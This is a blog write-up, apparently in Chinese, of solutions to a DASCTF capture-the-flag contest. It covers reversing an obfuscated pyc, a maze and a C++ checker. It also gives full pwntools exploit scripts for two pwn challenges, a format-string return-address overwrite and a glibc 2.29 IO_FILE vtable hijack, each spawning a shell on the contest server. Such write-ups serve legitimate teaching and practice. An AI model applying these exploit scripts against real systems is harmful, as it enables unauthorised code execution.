DASCTF安恒月赛(6th)

RE

pyCharm(pyc文件恢复)

这个题基本参考https://www.52pojie.cn/thread-912103-1-1.html来做的。

加载pyc co_code

In [1]: import dis,marshal

In [2]: f=open('1.pyc')

In [3]: f.read(4)
Out[3]: '\x03\xf3\r\n'

In [4]: f.read(4)
Out[4]: 'jv\xe7^'

In [5]: code = marshal.load(f)

In [6]: code.co_consts
Out[6]:
(-1,
 None,
 'YamaNalaZaTacaxaZaDahajaYamaIa0aNaDaUa3aYajaUawaNaWaNajaMajaUawaNWI3M2NhMGM=',
 'Are u ready?',
 0,
 32,
 'a',
 '',
 'great!waht u input is the flag u wanna get.',
 'pity!')

In [7]: code.co_varnames
Out[7]: ()

In [8]: code.co_names
Out[8]:
('base64',
 'a',
 'raw_input',
 'flag',
 'b64encode',
 'c',
 'list',
 'd',
 'range',
 'i',
 'join',
 'ohh')

In [9]: code.co_code
Out[9]: "q\x03\x00q\x00\x06d\xffd\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x02\x00Z\x01\x00e\x02\x00d\x03\x00\x83\x01\x00Z\x03\x00e\x00\x00j\x04\x00e\x03\x00\x83\x01\x00Z\x05\x00e\x06\x00e\x05\x00\x83\x01\x00Z\x07\x00x'\x00e\x08\x00d\x04\x00d\x05\x00\x83\x02\x00D]\x16\x00Z\t\x00e\x07\x00e\t\x00c\x02\x00\x19d\x06\x007\x03<qI\x00Wd\x07\x00j\n\x00e\x07\x00\x83\x01\x00Z\x0b\x00e\x0b\x00e\x01\x00k\x02\x00r\x86\x00d\x08\x00GHn\x05\x00d\t\x00GHd\x01\x00S"

使用dis库对co_code进行反编译:

In [10]: dis.dis(code.co_code)
          0 JUMP_ABSOLUTE       3
    >>    3 JUMP_ABSOLUTE    1536
          6 LOAD_CONST      25855 (25855)
          9 STOP_CODE
         10 STOP_CODE
         11 LOAD_CONST          1 (1)
         14 IMPORT_NAME         0 (0)
         17 STORE_NAME          0 (0)
         20 LOAD_CONST          2 (2)
         23 STORE_NAME          1 (1)
         26 LOAD_NAME           2 (2)
         29 LOAD_CONST          3 (3)
         32 CALL_FUNCTION       1
         35 STORE_NAME          3 (3)
         38 LOAD_NAME           0 (0)
         41 LOAD_ATTR           4 (4)
         44 LOAD_NAME           3 (3)
         47 CALL_FUNCTION       1
         50 STORE_NAME          5 (5)
         53 LOAD_NAME           6 (6)
         56 LOAD_NAME           5 (5)
         59 CALL_FUNCTION       1
         62 STORE_NAME          7 (7)
         65 SETUP_LOOP         39 (to 107)
         68 LOAD_NAME           8 (8)
         71 LOAD_CONST          4 (4)
         74 LOAD_CONST          5 (5)
         77 CALL_FUNCTION       2
         80 GET_ITER
         81 FOR_ITER           22 (to 106)
         84 STORE_NAME          9 (9)
         87 LOAD_NAME           7 (7)
         90 LOAD_NAME           9 (9)
         93 DUP_TOPX            2
         96 BINARY_SUBSCR
         97 LOAD_CONST          6 (6)
        100 INPLACE_ADD
        101 ROT_THREE
        102 STORE_SUBSCR
        103 JUMP_ABSOLUTE      73
    >>  106 POP_BLOCK
    >>  107 LOAD_CONST          7 (7)
        110 LOAD_ATTR          10 (10)
        113 LOAD_NAME           7 (7)
        116 CALL_FUNCTION       1
        119 STORE_NAME         11 (11)
        122 LOAD_NAME          11 (11)
        125 LOAD_NAME           1 (1)
        128 COMPARE_OP          2 (==)
        131 POP_JUMP_IF_FALSE   134
    >>  134 LOAD_CONST          8 (8)
        137 PRINT_ITEM
        138 PRINT_NEWLINE
        139 JUMP_FORWARD        5 (to 147)
        142 LOAD_CONST          9 (9)
        145 PRINT_ITEM
        146 PRINT_NEWLINE
    >>  147 LOAD_CONST          1 (1)
        150 RETURN_VALUE

这里面需要注意的就是开头的:

          0 JUMP_ABSOLUTE       3
    >>    3 JUMP_ABSOLUTE    1536
          6 LOAD_CONST      25855 (25855)
          9 STOP_CODE
         10 STOP_CODE

明显加入了混淆,怎么突然就停止了STOP_CODE。接着就是想办法去除这些混淆,和修正co_code长度,期望修改后的opcode首行为

0 LOAD_CONST 0(0)
1 LOAD_CONST 1(1)

其中这种二进制字节码对应的翻译结果:

0x64 操作为LOAD_CONST,用法举例:LOAD_CONST 1        HEX: 640100

0x71 操作为JUMP_ABSOLUTE,用法举例:JUMP_ABSOLUTE 14                HEX: 710e00

0x65 操作为LOAD_NAME,用法举例:LOAD_NAME 1                HEX: 650100

所以寻找:

0 LOAD_CONST 0(0)

即为寻找HEX : 640000这个作为混淆字段结束。
开头怎么寻找呢。由于看前面3个字节对应一个含义,猜测:

0 JUMP_ABSOLUTE       3




那很明显混淆字段就是:

然后用工具删除即可,其中0x97就是co_code

In [12]: len(code.co_code)
Out[12]: 151

In [13]: hex(151)
Out[13]: '0x97'

所以去除这8个字节的混淆代码,然后修改co_code长度为0x8f

还原后的pyc开头

反编译

反编译方法就多种多样了,可以在线什么的,我使用的uncompyle6.

uncompyle6 -o 1.py 1.pyc
# uncompyle6 version 3.7.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (default, Feb 29 2020, 01:55:37)
# [GCC 4.2.1 Compatible Apple LLVM 11.0.3 (clang-1103.0.29.20) (-macos10.15-objc-
# Embedded file name: pyCharm.py
# Compiled at: 2020-06-15 21:23:54
import base64
a = 'YamaNalaZaTacaxaZaDahajaYamaIa0aNaDaUa3aYajaUawaNaWaNajaMajaUawaNWI3M2NhMGM='
flag = raw_input('Are u ready?')
c = base64.b64encode(flag)
d = list(c)
for i in range(0, 32):
    d[i] += 'a'

ohh = ('').join(d)
if ohh == a:
    print 'great!waht u input is the flag u wanna get.'
else:
    print 'pity!'%

反编译后这题就十分简单了。

给的字符串把“a”,去除后解码base64即可。

easy_maze

直接去hex下提取迷宫,由于是100个字符,很容易联想到是10x10的迷宫。
然后丢vscode。

直接路径就出来了。

jkkjjhjjkjjkkkuukukkuuhhhuukkk

Md5一下即可。

T0p Gear

题目不难,太菜了,看c++有点头大,做的有点慢。Ida动态调试,一共3个check,都是断在Strcmp。每次随便输入,然后分析和获取rdi,rsi寄存器对应地址处的字符串。拿到以后,3个拼接一下就是flag。

pwn

springboard

考点就是堆上的格式化字符串利用,挺简单的。

攻击思路

利用环境变量那条链,进行攻击ret address,修改为one gadget
给了8次漏洞利用机会,还是很容易实现的。其中ret address,为__libc_start_main+xxx

EXP

from pwn import *
import time
local_file  = './springboard'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('183.129.189.60',10029)
    libc = ELF(remote_libc)
elf = ELF(local_file)
# libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
sla("input","1")
sla("input","2")
sla("input","3")
sla("input","%13$pAAAA%11$p")
sleep(0.1)
ru("0x")
tag = int(r(12),16) - 0xe0
ru("AAAA0x")
libc_base = int(r(12),16) -0x21b97
info_addr("libc_base",libc_base)
key1 = hex(tag)[-4:]
print(key1)
payload = '%{}c%13$hn'.format(int(key1,16))
sla("input",payload)
sleep(5)
rec = rce18[1] + libc_base
key2 = hex(rec)[-4:]
print(key2)
payload = '%{}c%39$hn'.format(int(key2,16))
sla("input",payload)
sleep(5)
key3 = int(hex(tag)[-2:],16) + 2
print(key3)
payload = '%{}c%13$hhn'.format(key3)
sla("input",payload)
sleep(5)
key4 = hex(rec)[-6:-4]
print(key4)
payload = '%{}c%39$hhn'.format(int(key4,16))
sla("input",payload)
itr()
# 0000| 0x7fffffffe2f0 --> 0x555555554980 (push   r15)
# 0008| 0x7fffffffe2f8 --> 0x55554780
# 0016| 0x7fffffffe300 --> 0x555555756010 ("11111111aaaaaaaa1111111122222222\n")
# 0024| 0x7fffffffe308 --> 0x84fa9f2a7e35ae00
# 0032| 0x7fffffffe310 --> 0x555555554980 (push   r15)
# 0040| 0x7fffffffe318 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
# 0048| 0x7fffffffe320 --> 0x1
# 0056| 0x7fffffffe328 --> 0x7fffffffe3f8 --> 0x7fffffffe67a ("/media/psf/mypwn/ahys/6/springboard/springboard")
# 0064| 0x7fffffffe330 --> 0x1f7ffcca0
# 0072| 0x7fffffffe338 --> 0x55555555488a (push   rbp)
# 0080| 0x7fffffffe340 --> 0x0
# 0088| 0x7fffffffe348 --> 0x6e8193b15e1baa42
# 0096| 0x7fffffffe350 --> 0x555555554780 (xor    ebp,ebp)
# 0104| 0x7fffffffe358 --> 0x7fffffffe3f0 --> 0x1
# 0112| 0x7fffffffe360 --> 0x0
# 0120| 0x7fffffffe368 --> 0x0
# 0128| 0x7fffffffe370 --> 0x3bd4c6e40b5baa42
# 0136| 0x7fffffffe378 --> 0x3bd4d65e62cbaa42
# 0144| 0x7fffffffe380 --> 0x0
# 0152| 0x7fffffffe388 --> 0x0
# 0040| 0x7ffe4f08d2d8 --> 0x7f2169b2a830

secret

考点就是IO_FILE的相关知识了,是针对伪造 vtable 劫持程序流程。

这个题估计是参考https://xz.aliyun.com/t/7205这个题出的,但是文中的题比这个要难多了。(ps:感谢出题人手下留情)

fclose 函数调用的 vtable 函数

vtable 函数 指针:

/* The 'finish' function does any final cleaning up of an _IO_FILE object.
   It does not delete (free) it, but does everything else to finalize it.
   It matches the streambuf::~streambuf virtual destructor.  */
typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

对于攻击的vtable 函数 指针其中的:

  • __finish__
  • __close

其执行顺序是先close,然后finish。由于程序给的是0x18字节的任意写,攻击 __finish__就可以了。

libc2.29中的vtable

vtable的值,以及其对应的函数指针,在glibc 2.29下是可写的。这个是很重要的一点,本来个人不知道这个,想了好久其他的办法来利用。

在glibc 2.23以及glibc 2.27其都是不可写的

正是因为可以写,所以这个题难度就降低了很多。

攻击思路

利用程序的最后一次任意地址写,直接把__IO_2_1_stderr的vtable__finish__指针修改为one gadget。
(这里的one gadget,需要自己多试)。

小tips

第2次的2字节读入可以直接用其本来地址末2字节即可,直接在__IO_2_1_stderr的vtable不用转移也可以的。(看到有别的师傅转移到其他vtable地址的。)并且,由于是read函数,直接发个\x60一个字节即可。

exp

from pwn import *
import time
local_file  = './secret'
local_libc  = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc6_2.29-0ubuntu2_amd64.so'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('183.129.189.60',10030)
    libc = ELF(remote_libc)
elf = ELF(local_file)
# libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

ru("0x")
libc_base = int(r(12),16) - libc.symbols["printf"]
info_addr("libc_base",libc_base)
ru("addr")
vtable = 0x1e5758 + libc_base
s(p64(vtable))
sleep(0.1)
# debug()
s('\x60')
sleep(0.1)
rec = 0xe2386 + libc_base
s(p64(0) + p64(0)+p64(rec))
itr()

由于提前就fclose(stdout),getshell以后也不会有任何的输出,所以得用exec 1>&2来恢复输出。



re pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!